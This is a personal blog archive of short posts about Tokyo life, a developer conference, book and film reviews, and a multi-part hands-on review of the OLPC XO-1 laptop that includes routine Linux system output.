| 40km | 05:28:20 | 0:49:46 | 14:38:20 |
| Finish | 05:48:32 | 0:20:12 | 14:58:32 |
Now those are the official gross times, counted from the starting signal (starting gunfire). I'd also like to point out that my net time is about 15 minutes less, because my block (the last one) was started about 15 minutes later. That would be about 05:35.
The recently reunited Police are currently stopping by in Tokyo and I went to see their concert at Tokyo Dome tonight. They played all their greatest hits, from Message in a Bottle to Every Breath You Take. Opening act: Fiction Plane, fronted by Sting's son. Now, the problem with huge venues like Tokyo Dome is that you end up sitting (or standing) a hundred metres away from the stage, so that without those big video walls you could not really say what was going on there. In effect, you have 25,000 people watching a music video together, which of course still makes for a nice event.
Trivia tidbit for the day: Tokyo Dome is an air-supported structure, the roof being held up by constantly keeping the inside of the stadium pressurised, which is very noticeable when going in or out.
Nice event, and free to attend, too (thanks to all the Platinum and Gold and Silver and other sponsors).
- Joel Spolsky: How to write popular software
- He would have surely signed my copy of his book, too, but I misplaced it.
- Mr. Kurihara: Aren't we forgetting the data
- About the importance of proper data modelling, data storage, access path design, validation and other data-centric topics, and how they are often just an afterthought to application development, which leads to all kinds of nasty problems. I always feel at home with these kind of talks, reminds me of my university days and makes me want to move into the data management space, away from application development with its ill-defined and ever-changing requirements.
- Lunch break
- The Japanese Squeak user group had an OLPC (not the XO-1, but an almost identical developer pre-release machine with a Spanish keyboard) and we could try out the mesh network functionality, chatting and sharing a text editing session. Great fun.
- The latest on rich clients
- A panel discussion with representatives from Adobe (Flash/Flex/AIR), Microsoft (.NET/Silverlight) and Curl (Curl).
- Jeffrey Fredrick (Agitar Software): Continuous Integration
- An introduction to Continuous Integration and how it can benefit the development process by increasing product quality and shortening development cycles.
- Next generation web application frameworks
- By
next generation
, he meant frameworks that try to completely hide the stateless nature of HTTP requests with sessions and continuations. JBoss Seam and Wicket were presented as examples. There was also a lively discussion about how robust and complete these new approaches already are. - Mr. Ikehara (Infragistics) Line-of-Business development WPF
- An introduction to Vista's new Windows Presentation Foundation and how it can be used to create attractive applications for a company's vital back-office operations, including a rather impressive live coding session showcasing Infragistics WPF components.
- Programming Languages of the Past, Present and Future
- A discussion between Yukihiro Matsumoto (creator of Ruby) and Daigo Hamura (test leader for C#) about language design, development process, life cycles, backwards compatibility, and other issues the maintainers of programming languages face.
Larry Niven: The Ringworld Engineers
Ten years after Ringworld
, and after having received many letters
with feedback apparently mostly about the mathematical assumptions and
implications of the construction of the Ringworld, Larry Niven revisits
his best-known creation.
Almost thirty years after their original exploration of the Ringworld, Louis Wu and the Kzin Chmee are abducted by the recently deposed Hindmost and forced to go there again. They find the Ringworld knocked off-centre and about to collide with its sun. Louis embarks on a quest to try and prevent the catastrophe and learn more of Ringworld's secrets and its elusive builders. In the process he gets to know (quite often even in the biblical sense) a few of the various humanoid species that populate this most stunning artifact in known space.
The main scenario I had in mind for the XO-1 was as a portable reader, both online and offline, on the road and also in bed (it is so inconvenient to have to get up and walk over to the living room for my daily fill of news websites). Technology issues aside, a laptop in bed is not going to happen, because Cissy does not tolerate that level of laziness and won't hear any of it (even an iPod is pushing it).
Online reading via the built-in browser works famously. Thanks to its Mozilla code base, web sites render as they should, images, JavaScript and even Flash (except for video clips) works, fonts look great (free Japanese fonts, by the way, are available on the Japanese government web-site). There is no email client, but web-mail should work (no problem with GMail). One downside is the inability to open links in a new tab or window, so that you are limited to linear browsing and cannot queue up pages for later access. You can bookmark pages, but not before actually opening them.
Offline reading with the currently available software is tricky.
At first I thought I could use the PDF reader and downloaded me a couple of
Cory Doctorow novels. As it turns out, PDF is not really a good format
for screen readers, because the layout is fixed and cannot be adjusted
to display size or orientation. Zooming in to make the characters legible
leaves to few of the visible at the same time to read without scrolling
around like crazy. The next choice was HTML, which the reader can
re-flow and re-page to fit the screen, and while that works well online,
I could not figure out how to save a file for offline access from the browser.
Manually placing the file on the disk using the command line (wget)
does not do much good either, because unless the file is managed by the
Journal activity, it does not appear in the user interface at all.
It seems the easiest (only?) way to do this is to prepare content for the XO-1
on a USB memory stick or SD card, similar to how iPods work (an SD card is
better, because it disappears inside the laptop, whereas USB devices stick
out from the side).
The XO-1 can be put into tablet mode by folding the screen over the keyboard. This has the potential for a nice book reading experience. The only keys you can still use in this case are the power button, a cursor pad, four game-pad buttons, and the display orientation switch. That should be plenty to zoom, scroll and page around a book, and maybe even click links on a web site and move a mouse pointer directly. Unfortunately, and this is a real shame, the software does not make use of the buttons in any useful way, so that you need to go back to the inaccessible keyboard for many basic functions. Also, the screen rotation feature is not co-ordinated with the cursor pad, so that pressing Up will sometimes scroll right (or left, or down).
Another problem is the long time it takes for the XO-1 to boot up. It should be possible to put the machine into sleep mode and very quickly resume from there, but apparently this is not implemented, which is surprising considering how much thought went into energy preservation for the hardware. As it is, having to power it down completely makes it inconvenient as a book reader.
Welcome to the small house of the cats!!
NEKOBUKURO is the strange space which twenty cats live in freely !
It is the wonderful space where we see cats and it touches it and it plays together.
The eighth floor of the Ikebukuro Tokyu Hands department store houses a room with two dozen cats in it. Not in cages (only when they are off-duty), but out in the open. Admission is 600 yen per person. Excellent idea for a city where not everyone who wants to have a cat can keep one at home.
External USB hard drives were on sale, so I picked up 500 GB from I-O Data and thanks to Time Machine now have a decent backup system in place. An interesting fact about hard disks is that there are two ways to count data volumes. Usually a kilobyte has 1024 bytes, with admittedly is somewhat at odds with the metric system. Hard disk makers call 1000 bytes a kilobyte. That is not much of a difference (2.35%), so you can ignore that as a marketing oddity, but the discrepancy grows dramatically as we get towards terabyte disks. A 1 MB hard disk really only holds 95.3% of a megabyte, a 1 GB disk only 93.1% of a GB, and my new 500 GB disk has only 465 GB.
PS: Caption inspired by Mike Camino
Pinkerton's
remarks on mathematics,
marketing and McDonalds.
Probably the most acclaimed technology to come out of Sun Microsystems recently is
DTrace, the dynamic tracing framework for Solaris (which Apple also ported for and included in Leopard).
DTrace allows to inject so-called probes into the running operating system and applications
in order to gather data to tune or troubleshoot them. Probes are written in a simple programming language
called D, creating probes requires no changes to the code being probed, and
DTrace support has no performance impact unless the probes are actually enabled.
I really want to have something similar for Java, in order to troubleshoot tricky support issues at customer sites. At least a simple version (with only JVM-level and no application-specific instrumentation points) should be possible using the existing JVM tracing and debugging interfaces. I picture something like inserting a little script that fires when a specific method is called with a specific set of arguments and then logs a message or starts a timer or increases a counter. Half a day of searching did unfortunately not turn up an easy-to-use and painless-to-deploy tool, although I am sure there must be something.
As it is, we have to rely on logging, the catch being, of course, that appropriate trace messages need to be in the code in the first place, which more often than not they are not, requiring a patch release with all the costs and delays associated to it. And even if the messages are there, they of course only appear when trace logging is enabled, and even when only enabling tracing for the bare minimum of log categories required, there will usually be a lot of output unrelated to the problem at hand that need to be manually filtered.
Update: I am aware that DTrace is available on the latest JVM for Solaris and Mac OS X, but that will not help me with Java5 on RedHat, which is what we deploy on. I was looking for a Javaland solution that works with older/other JVM/OS.
The most expensive and most innovative component of the XO-1 is its display. It is a 7.5 inch TFT with two operating modes: With the backlight turned on it can display approximately 800x600 coloured (6bit: 262k colours) pixels. With the backlight turned off, it becomes monochrome (6bit: 64 shades), but the resolution goes up to 1200x900 and the screen is usable in bright sunlight.
This peculiar behaviour is due to the interesting way the display is constructed: The LCD is a 1200x900 grid of square pixels with 64 levels of opacity. Behind it is a reflector, that sends incoming ambient light back through the LED. So when the backlight is off, all you see is the high-resolution monochrome screen. When the backlight is turned on, it first goes through a fixed colour filter that tints every pixel either red or green or blue. In a completely dark room, all you see are 1200x900 pixels of fixed colour (but 64 shades of opacity), or, if you group three of them together to count them as one coloured pixel, approximately 800x600. In most situations, and depending on your viewing angle, you see a combination of both.
Another interesting feature of the display is that its controller has enough memory to keep the screen alive while turning off the CPU and other parts of the motherboard. This can save power in book reader mode.
Speaking of book reader mode, the display can be pivoted, turned around and folded so that it closes like a lid over the keyboard, turning the XO-1 into a tablet (without the touchscreen). A game pad and cursor keys located next to the display can then be used in lieu of keyboard and trackpad for simple navigation tasks. There is also a very handy button that rotates the contents of the screen in 90 degrees intervals (normal / portrait / upside-down landscape / reverse portrait) to allow you to adjust to how you hold the device.
I am getting closer to the point of having enough data to draw a chart.
| June 30 | July 29 | Sept 02 | Sept 30 | Oct 28 | Dec 02 | Dec 23 | Feb 03 | Ideal | |
|---|---|---|---|---|---|---|---|---|---|
| Weight | 69.7 | 70.7 | 70.6 | 71.1 | 72.6 | 73.3 | 72.7 | 72.9 | 77.1 |
| Muscle | 56.7 | 59.2 | 58.7 | 58.9 | 59.4 | 59.8 | 60/2 | 60.8 | 62.1 |
| Fat | 9.8 | 8.1 | 8.6 | 8.9 | 9.9 | 10.2 | 9.2 | 8.5 | 11.6 |
| BMI | 20.6 | 20.9 | 20.9 | 21.0 | 21.4 | 21.7 | 21.5 | 21.5 | 18.5 to 24.8 |
| Body Fat Pct | 14 | 11.5 | 12.2 | 12.5 | 13.6 | 14 | 12.7 | 11.7 | 10 to 20 |
| Tipness Score | 76 | 80 | 80 | 80 | 81 | 81 | 82 | 80 |
Child's toy computer
is how Martin declared the XO-1 in the
customs form when sending it here. It does include a smattering of educational
software:
- TurtleArt is a graphical Logo implementation: You get to paint
by programming
a little pen-wielding turtle to wander over the screen. The programming
is done by dragging instruction blocks (such as
move forward
,turn
,arc
,raise the pen
,change the pen colour
) from the tool box onto the screen. This is great fun, I can see myself not finishing this post on Friday because I cannot stop playing TurtleArt right now. - Etoys is a Squeak Smalltalk
media-rich authoring environment with a simple, powerful scripted object model for many kinds of objects
. I have played with Squeak before, which is a platform is equally interesting and esoteric. The XO-1 version is completely compatible with everything out there in Squeakland. - Pippy is an interactive Python interpreter that aims to teach programming in the language most of the higher-level programs on the laptop are written.
- Measure is for the physics lab and provides an interface to display and record signals produced
by external sensors as waveforms, like an oscilloscope. You would need to build
those sensors and connect them to the
audio
input port, so that I could not really test this activity. - TamTam is a suite of music composition programs. TamTam Mini is a simple activity where you can select an instrument and use the keyboard to play notes. TamTam Edit is a five-track editor that can be used to arrange and record whole songs. Young Man's GarageBand. TamTam Jam seems to be somewhere in between Mini and Edit. TamTam SynthLab is an advanced synthesiser application that I think is used to create new instruments for TamTam Edit.
In addition to using these activities in creative ways, the child is also encouraged to
modify the software itself. A good part of it is being written in Python and other dynamic
languages, and thus lends itself to live
hacking. There is even supposed to be
a View Source
button to reveal the underlying codebase of the running activity
and allow changes to it, but that seems to be not implemented yet.
As programming skills grow, one could even tackle the base system itself,
all of which is Open Source (Linux and OpenFirmware), although that kind of development
can probably not be done on the XO itself.
As for games, there is Memorize
, the game of matching pairs, with an editor
to create your own set of tiles,
others are available for download, and Electronic Arts has donated SimCity
.
From X To O: Unix Underpinnings
[olpc@xo-11-19-06 ~]$ uname -a Linux xo-11-19-06.localdomain 2.6.22-20071121.7.olpc.af3dd731d18bc39 #1 PREEMPT Wed Nov 21 00:39:06 EST 2007 i586 i586 i386 GNU/Linux
[olpc@xo-11-19-06 ~]$ df -k Filesystem 1K-blocks Used Available Use% Mounted on mtd0 1048576 359044 689532 35% / tmpfs 35676 0 35676 0% /dev/shm
[olpc@xo-11-19-06 ~]$ cat /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD cpu family : 5 model : 10 model name : Geode(TM) Integrated Processor by AMD PCS stepping : 2 cpu MHz : 430.952 cache size : 128 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu de pse tsc msr cx8 sep pge cmov clflush mmx mmxext 3dnowext 3dnow bogomips : 862.97 clflush size : 32
[olpc@xo-11-19-06 ~]$ ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.7 1.7 4952 4144 ? Ss 17:36 0:04 oatc
/init
root 2 0.0 0.0 0 0 ? S< 17:36 0:00
[kthreadd]
root 3 0.0 0.0 0 0 ? SN 17:36 0:00
[ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S< 17:36 0:00
[watchdog/0]
root 5 0.1 0.0 0 0 ? S< 17:36 0:00
[events/0]
root 6 0.0 0.0 0 0 ? S< 17:36 0:00
[khelper]
root 47 0.0 0.0 0 0 ? S< 17:36 0:00
[kblockd/0]
root 48 0.0 0.0 0 0 ? S< 17:36 0:00
[ksuspend_usbd]
root 51 0.0 0.0 0 0 ? S< 17:36 0:00
[khubd]
root 53 0.0 0.0 0 0 ? S< 17:36 0:00
[kseriod]
root 115 0.0 0.0 0 0 ? S 17:36 0:00
[pdflush]
root 116 0.0 0.0 0 0 ? S 17:36 0:00
[pdflush]
root 117 0.0 0.0 0 0 ? S< 17:36 0:00
[kswapd0]
root 118 0.0 0.0 0 0 ? S< 17:36 0:00
[aio/0]
root 517 0.0 0.0 0 0 ? S< 17:36 0:00
[kpsmoused]
root 560 0.0 0.0 0 0 ? S< 17:36 0:00
[kmmcd]
root 617 0.0 0.0 0 0 ? Z 17:36 0:00 [init]
<defunct>
root 667 5.2 0.0 0 0 ? SN 17:36 0:35
[jffs2_gcd_mtd0]
root 670 0.0 0.2 2140 664 ? Ss 17:36 0:00 init [5]
root 757 0.0 0.2 2260 592 ? S<s 17:36 0:00
/sbin/udevd -d
root 886 0.0 0.0 0 0 ? S< 17:36 0:00
[libertas_main]
root 887 0.0 0.0 0 0 ? S< 17:36 0:00
[libertas_worker]
root 1263 0.0 0.2 1804 596 ? Ss 17:37 0:00 syslogd
-m 0
root 1266 0.0 0.1 1744 404 ? Ss 17:37 0:00 klogd -x
dbus 1289 0.1 0.4 2956 1008 ? Rs 17:37 0:01
dbus-daemon --system
root 1311 0.0 2.8 13660 6704 ? Ss 17:37 0:00
/usr/bin/python /usr/sbin/rainbow-daemon --daemon
root 1326 0.0 0.3 5392 940 ? Ss 17:37 0:00
/usr/sbin/sshd
root 1338 0.0 0.9 7568 2196 ? Ssl 17:37 0:00
console-kit-daemon
root 1378 0.0 0.4 3296 1104 ? Ss 17:37 0:00 crond
root 1423 0.0 0.2 1736 616 ? SNs 17:37 0:00 anacron
-s
root 1435 0.1 0.9 28740 2152 ? Ssl 17:37 0:00
NetworkManager --pid-file=/var/run/NetworkManager/NetworkManager.pid
68 1462 0.2 1.1 4552 2640 ? Ss 17:37 0:01 hald
root 1463 0.0 0.4 3084 972 ? S 17:37 0:00
hald-runner
root 1486 0.0 0.4 3176 1080 ? S 17:37 0:00
hald-addon-input: Listening on /dev/input/event0 /dev/input/event1 /
root 1491 0.0 1.4 7092 3372 ? S 17:37 0:00
/usr/bin/python /usr/bin/olpc-hardware-manager
avahi 1519 0.0 0.5 2656 1420 ? Ss 17:37 0:00
avahi-daemon: running [xo-11-19-06.local]
avahi 1522 0.0 0.1 2656 432 ? Ss 17:37 0:00
avahi-daemon: chroot helper
root 1540 0.0 0.1 1728 464 ? Ss 17:37 0:00
/sbin/mingetty --noclear tty1
root 1543 0.0 0.1 1724 456 tty2 Ss+ 17:37 0:00
/sbin/mingetty tty2
root 1544 0.0 0.2 1736 504 ttyS0 Ss+ 17:37 0:00
/sbin/agetty ttyS0 115200 vt100
root 1545 0.0 0.5 2880 1200 ? Ss 17:37 0:00
/usr/sbin/olpc-dm
olpc 1557 0.0 0.4 2552 1064 tty1 Ss+ 17:37 0:00 /bin/sh
/usr/bin/startx /usr/bin/olpc-session -- -fp built-ins -wr
olpc 1574 0.0 0.3 3076 928 tty1 S+ 17:37 0:00 xinit
/usr/bin/olpc-session -- /usr/bin/X -fp built-ins -wr -auth /h
root 1575 5.2 8.5 26072 20400 tty3 Ss+ 17:37 0:34
/usr/bin/X :0 -fp built-ins -wr -auth /home/olpc/.serverauth.1557
olpc 1585 7.5 12.9 58040 30920 ? Ss 17:37 0:49 python
/usr/bin/sugar-shell
olpc 1593 0.1 0.5 3480 1408 ? Ss 17:37 0:01
/bin/dbus-daemon --fork --print-pid 4 --print-address 6 --session
olpc 1594 0.0 0.2 2840 616 ? S 17:37 0:00
dbus-launch --exit-with-session sugar-shell
olpc 1605 0.1 2.1 11100 5004 ? S 17:37 0:00
matchbox-window-manager -use_titlebar no -theme sugar -kbdconfig /us
olpc 1607 0.6 4.5 17152 10740 ? S 17:37 0:04 python
/usr/bin/sugar-presence-service
olpc 1609 0.0 1.1 8068 2808 ? S 17:37 0:00
/usr/libexec/telepathy-salut
olpc 1611 0.3 3.7 15320 8884 ? S 17:37 0:01 python
/usr/bin/sugar-shell-service
olpc 1613 2.1 5.8 32012 13872 ? Sl 17:37 0:13 python
/usr/bin/datastore-service
olpc 1623 0.0 0.1 3780 472 ? S 17:37 0:00 /bin/cat
olpc 1625 4.7 10.1 42892 24136 ? S 17:37 0:29 python
/usr/bin/sugar-activity journalactivity.JournalActivity -b or
olpc 1660 1.3 10.5 55076 25140 ? Sl 17:38 0:07 python
/usr/bin/sugar-activity terminal.TerminalActivity -s -b org.l
olpc 1670 0.0 0.2 2420 628 ? S 17:39 0:00
gnome-pty-helper
olpc 1671 0.0 0.6 4688 1536 pts/0 Ss 17:39 0:00
/bin/bash
499 1699 0.0 0.2 1820 704 ? S 17:39 0:00
avahi-autoipd: [msh0] bound 169.254.2.85
root 1700 0.0 0.1 1772 352 ? Ss 17:39 0:00
avahi-autoipd: [msh0] callout dispatcher
olpc 1786 0.0 0.2 3788 608 pts/0 S+ 17:46 0:00 script
olpc 1787 0.0 0.1 3792 400 pts/0 S+ 17:46 0:00 script
olpc 1788 0.1 0.6 4688 1540 pts/1 Ss 17:46 0:00 bash -i
olpc 1802 7.0 0.3 4512 944 pts/1 R+ 17:48 0:00 ps auxw
The first thing to try with any web-enabled device is to check if it can play back Youtube. Well, the XO-1 cannot, which I guess is because of the GNU Flash player (Adobe's official one cannot be included as it does not meet the open source criterion) lacking the codec that is being used. Even if it was there, I wonder if the CPU would be up to the task.
Not being able to watch Youtube is of course a decidedly
First World Problem
, and not really relevant to OLPC
(or maybe it is, it seems the Internet is rapidly becoming
an important alley for authentic individual voices that the
traditional media outlets would just ignore). Anyway,
there is a built-in camera and a Record
activity (applications are called activities) that can be used to capture
video clips of up to sixty seconds. Unfortunately, I could not make that work, either. I could
record a clip and play it back again in Record
, but after
closing the activity could find no way to view it again.
The video does appear in the Journal, but when trying to open it,
the browser launches, shows a download dialog and then a blank page.
Again, the software is not quite there yet.
It does not make matters easier that the XO-1 tries to get rid off the concept of a traditional file system: Rather than the user explicitly saving and loading files, the Journal is supposed to automatically keep track of everything you do (including older revisions of documents you change, but I am not sure if that is already implemented). Until that works reliably, it would be nice to know where the files actually are.
Update: The same problem hit me after writing this article --
first blog post from the machine itself! After
finally finding the file I typed in the Write
activity (based on AbiWord) as /home/olpc/.sugar/default/datastore/store/78dc0364-be9c-4886-8329-ee62063f28fb
I decided to drop out of Sugar and into vi
to finish it (praised be the person who agreed to keep
the underlying standard Linux tools around and readily accessible).
From X To O: Wireless networking
The OLPC project aims to enable children to study and create in a collaborative environment that makes it natural to share documents and work on them together. To facilitate this, the XO-1 has built-in networking capabilities, most importantly an IEEE 802.1 chipset for wireless communications. Notable features here are the low energy consumption (paid for with a relatively low speed of 2 Mbits) and the ability to form a self-organised mesh network in the absence of an access point. The chipset is autonomous enough to allow the XO-1 to act as a repeater in the mesh even when the laptop CPU is powered down.
Since OLPC laptops are intended for deployment in areas where there will likely be no traditional telecom infrastructure, there are is no ethernet adaptor or modem (I wonder if there was similar reasoning behind the MacBook Air). Other means of getting data in and out are the USB ports and the SD card reader. And then there is the Acoustic Tape Measure program, that can be used to measure the distance between two laptops by measuring the time it takes for them to shout at each-other.
Whereas the hardware does not fail to impress,
some areas of the XO-1 software in its current
form feel unfinished and flakey.
Being software, of course, it should be
relatively easy to resolve these issues over time.
One instance that caused me
quite a bit of frustration at first was getting the WiFi to work.
Although I would very much prefer a wired connection (faster, less
radiation) I do have an access point that I occasionally switch on for the Wii,
but the XO-1 would not connect to it. Turns out that the version of the OS that it came with
has critical bugs here, but there was a new version (poetically named build 653
)
available for download.
The process required some computer literacy, another computer with a working
Internet connection and an SD card (or USB stick), but now it works.
The XO-1 is the first version of the One Laptop Per Child. It comes in compact (242x228x32 mm) and rugged green package, with an innovative screen (7.5 inch), a membrane keyboard (sized for children), a touchpad with adjacent stylus areas (reserved for future use), three USB ports, an internal SD card reader, a built-in microphone, speakers and video camera.
The computer is powered by a 433 MHz AMD CPU that runs at only 800 mW, the display uses between 100 and 1000 mW, so that the overall power consumption is less than 3 W. It does not come with a hand-crank, but a selection of hand- or foot-operated power units is optionally available.
Networking is an important part of the educational concept behind the project and the XO-1 sports a Wi-Fi chipset that allows connections using 802.11 with an access point or by forming an ad-hoc mesh network with other XO-1. The latter allows sharing a single Internet connection for a the whole classroom.
All software on the XO-1 is free and open source. The operating system is based on Fedora Linux and a Python-powered GUI called Sugar. A central component is the Journal, which keeps a chronological logs of all activities, such as changed files or accessed applications, and allows to resume those activities (open the file or application again). The bundled software is mostly educational programs to encourage creative exploration into the realms of music and programming, but there is also a general purpose (Mozilla-based) browser, a word processor, and an RSS reader. I could not find a scheduling application, or even a calendar, though, clearly it is not aimed at business people.
Sweeney Todd: The Demon Barber of Fleet Street
I suppose Tim Burton has Johnny Depp and his Corpse Bride Helena Bonham Carter on speed-dial, so that when he feels like making another dark fantasy movie he can quickly get over with casting the main characters. Composer Danny Elfman must have been the next one to call, except that in the case of a Broadway musical adaptation all the music has already been written. Depp landed a Best Actor Oscar Nomination for the part, and is thus excused to make a couple more silly pirate movies if it so pleases him. Alan Rickman and Sacha Baron Cohen complete the big name roster, and newcomers Jamie Campbell Bower and Ed Sanders also impress.
Rated R for a reason: Everyone sings, almost everyone dies. Rivers of blood. Cannibalism.
8 points
It is a drink of the jelly type with which a necessary nutrient is anywhere easily ingestible when there are neither a busy morning nor an appetite.
The taste is atrocious, too.
My XO laptop is finally almost here. After having travelled to New York and California (Give One, Get One would not ship to outside the USA and Canada, so I had to ask Martin in New York to be the middle-man), the postman came by to drop it off yesterday (but no one was at home), and will come again on the weekend. Stay tuned for a review then, for now read what Martin had to report and watch what David Pogue has to say.
Here is the "x", the "ooooh" happens when you see it ...
preinstalled: GUI apps, vi, gzip, python, ssh, scp
not installed: emacs, perl, gcc, latex
memory: 1GB disk, 237MB RAM
camera built-in
light
long battery life
processor: AMD Geode, 420MHz
http://wiki.laptop.org/go/WPA_Manual_Setting
fun geek toy, sturdy linux laptop, altruistic deed
Neil Gaiman: How To Talk To Girls At Parties
From the Hugo-Award-nominated-short-story-department. Both audio (read by the author) and text versions are available for free download from Gaiman's web site.
Hockenberry and the Trojan Women have tricked Achilles and Hector into an uneasy alliance, and at least for the moment all the Greeks, Trojans and their moravec allies follow them in their war against the Olympian gods. But both camps are far from united: Menelaus is still trying to kill his stolen wife Helen, and seize control of the Greek armies back from Achilles. The only thing that keeps the gods from banding up against each other is the ultimate authority of Zeus, who himself must be careful not to offend the Titans of Tartarus.
Back on Earth, things are going badly: The few remaining old-style humans are being slaughtered left and right by antisemitic robots, by Caliban, and by Caliban's god Setebos. They have to hope that help will arrive from Odysseus (either the old one that lives among them, or the young one that has just been kidnapped away from Mars), or from combat moravecs, or from any surviving post-humans, or from Prospero and Ariel. Or from the Quiet.
The book makes for an exciting (if confusing) read, but in the end, most of the plot lines are not resolved in a satisfactory way. There is no epic showdown, just a couple of last-minute super-sudden ex-machina turns of events, and some major threads are just dropped completely. Maybe Simmons is planning on a third volume (or a second dilogy) to wrap things up.
After an artificial virus that was supposed to cure cancer has wiped out 95% of humankind and turned most of the rest into vampires, military medical researcher Will Smith is the only man left in New York, where he and his dog try to stay alive long enough to find an antidote.
Overall nicely done dark science fiction film, but what keeps it from being
on par with, say, Children of Men
are the creature effects. The vampires
look so obviously computer-generated that they do not fit into the otherwise
uncomfortably realistic setting. Makes for good action sequences (and makes me
want to take another shot at the Wii Resident Evil 4 baddies), but not really scary.
7 points
Me wearing other people's glasses
Part eleven: Zhang Jiwang, whose desk is opposite mine, and who came back from
China with new glasses, becomes the first one to be featured here twice.
Also, one of the first pictures taken with the new phone.
Ubuntu: A pleased costumer's report
Once every year or so I install a recent Linux distribution and am every time impressed about by progress it has made as a desktop OS.
I have a dual-boot machine at work with Windows XP and Debian, the first of which I have not touched for months, but it still got corrupted (could not even start up anymore), so that I re-installed Windows from scratch (CD-ROM, scratch-free actually) yesterday. Unfortunately, Windows does not really work out-of-the-box on the machine, it apparently requires some OEM patches from Dell (without extra drivers or something the video card would not go beyond 640x480 which is totally useless). So I gave up again on Windows for the moment and tried to restart Debian to not fall completely behind schedule, but of course, the Windows installer had clobbered the boot menu. I suppose I should be grateful that the partitions are still there.
So I popped in an Ubuntu Live CD that I found in my desk drawer, with the honest intent to just restore the boot menu to be able to get back to my Debian environment. What immediately struck me is how pretty Ubuntu is, and how it justed booted and worked without me configuring anything. Said graphics card posed no problems, for one thing, and all my partitions were nicely mounted and just a click away in the very nice-looking file manager. I remember that this used to be the other way around: Whereas Windows just worked, getting Linux and especially X11 up an running required real work. I fiddled with the command line to recover my GRUB settings from the Debian file system and put it back onto the boot record, but this somehow failed, and I could not really be bothered to research how these tools work, so I just decided to go ahead and also install Ubuntu.
The next pleasant surprise was the Ubuntu installer. It is completely graphical, it can shrink existing NTFS partitions to make space for its own use, it finds existing OS installations and migrates wallpapers, bookmarks, address books, music libraries and such from Windows and Debian accounts. The resulting boot menu included Ubuntu, Windows, and all the options for the old Debian.
I am now in the process of migrating the rest of my stuff over from Debian as I go along, but compared with previous OS updates this has been very painless so far: Eclipse installation and workspaces can just be run directly from the mounted Debian filesystem, Java VM can be copied over, Oracle XE can be installed via the Debian/Ubuntu package manager now, which also provides other extras such as Japanese IME (the fonts, by the way, look much better now, too).
I am also in the process of discovering all the nice applications that make up the Ubuntu desktop. Not having worked with or even seen most of them, it is very pleasant to note how natural it feels to use them. Basically they work exactly how one would expect and want them, too. UI usuability and consistency is leaps above my admittedly very bare-bones Debian install (which I very much doubt I will see again), and honestly, if asked where the Mac still comes out in front, I need to think for a while.
Very nicely put together.
I had to retire my trusted old mobile phone, a veteran companion of seven years, a Sony before their marriage with Ericsson. The ageing battery had hardly a day's worth of life in it, and its operator (Tu-Ka) will terminate all services in March.
On the plus side, the new phone (again on a pre-paid plan) was the cheapest option: The new provider (au) gave me the handset (a Toshiba A5529T) and enough credit to pre-pay the phone until the end of August, both for free. Prepaid minutes are obscenely expensive, but I use the phone mostly to receive calls, with less then ten outgoing minutes a month. I was able to keep my old phone number, and of course it has a built-in camera now, along with a microSD slot that should make it easy to actually get the pictures out of the phone.
But the negatives weigh heavy: First of all, I liked to send SMS, which in Japan does not work across providers. I cannot send messages to any of the people that I used to anymore, and the messages I sent to people on my network did not work for some reason. Apparently, you are supposed to use regular e-mail instead of SMS, but Internet access is not part of the pre-paid plan. The lack of Internet features (beyond the texting) is okay for me, I did not have them before, either. But the phone is so much bigger and heavier than the old one, mostly because of the big screen needed for browsing the web and playing Java applications, none of which I can use. In fact, it seems to me that Japan has lost its lead in cool, small handset design because of this need for big screens. In addition to the size of the thing, the user interface does not adapt to the absence of online functions: Half of function keys and menu entries just bring up error dialogs. Again, I did not have any of those functions before, but my phone was not so in-your-face about it.
In conclusion, I apologise for bitching about a service I paid nothing at all for, but when my credit runs out in August, I will probably have to switch to a regular plan, or get rid of the phone altogether.
Give food to a dog, and he knows you his master
Kitty was always very shy with or afraid of strangers and would run off to hide in the furthest corner of the house, nervously eyeing the intruder, ready to scurry off to someplace else if approached. Well, this is how she treats us now.
We went to Kitty's new family's house in Chiba today, and after just two months she seems to have completely forgotten who we are. Or were.
:-(
Did I mention we brought a video camera to capture the joyous reunion?
Give food to a cat, and she knows you her slave
PS: Patai, the household's other cat, was not any friendlier, either. Impressive hair, impressive hiss.
With the Flying Czechman in town for a few days and looking for the latest and greatest in weird Japanese pop-culture we went to a Maid Café.
A product of the otaku cosplay scene, maid cafes are restaurants where the staff dress as (manga fantasy versions of) French maids and treat the customers as masters returning to their private homes. Akihabara is home to over sixty maid cafés, as well as a few butler cafes. Welcome back home, Master.
I have to say I was disappointed. Since the point is to feel like the master of a wealthy estate, I pictured heavy carpets, comfortable slippers, a dark red velvet smoking jacket, and arm chairs. That may have been completely overblown expectations (hell, I even shaved and dressed up a bit for the occasion), but considering the amount of detail that goes into other theme restaurants such as the Alcatraz in Shibuya (fashioned after a mental hospital/prison ward, guests get to sit in cells, and the staff are dressed as nurses and doctors), or even Hard Rock Cafe or TGI Friday's the very bare-bones cafeteria that it turned out to be was quite a let-down. Even the New Year decoration on the wall kept falling down.
(Lack of) interior design aside, Wikipedia
claims that although exemplary customer service is typical of Japan, maid cafés
take special care to pamper patrons
. No one was prepared to take our coats, though.
Speaking of patrons, they were a mixed lot, we were not the only foreigners (there was even a non-Japanese, but still non-French, maid), and Cissy was not the only female, either. The menu was okay for a cafe in Akihabara I guess (we had cake), but most certainly not the base upon which their business was built. Picture-taking was strictly forbidden, except for having the maids take polaroids, on which they would then also scribble something cute. That would have been an extra 500 yen, as would have been a game of cards or rock-paper-scissors.
We received membership cards (Licenses of Majesty, Level One: My Master -- a few dozen more visits would promote us to Glorious Masters), but if there is a next time, we definitely have to find a more upscale establishment.
We started the year (well, the first afternoon of the year) at the controversial Yasukuni Shrine. The shrine is dedicated to the spirits of those who died fighting for the Emperor, and among the 2,466,532 enshrined are 1,068 convicted World War II criminals. It has become a mecca for the political right, and each visit by a high-ranking government official sparks outrage in China and both Koreas. Nonetheless, recent prime minister Koizumi used to go every year.
The shrine also houses a museum of the history of Japan, whose representation of war-time events is also widely criticised as being revisionist. But you do get to see a kamikaze airplane and even manned torpedoes.















Part Six: Finally, a dish washer!



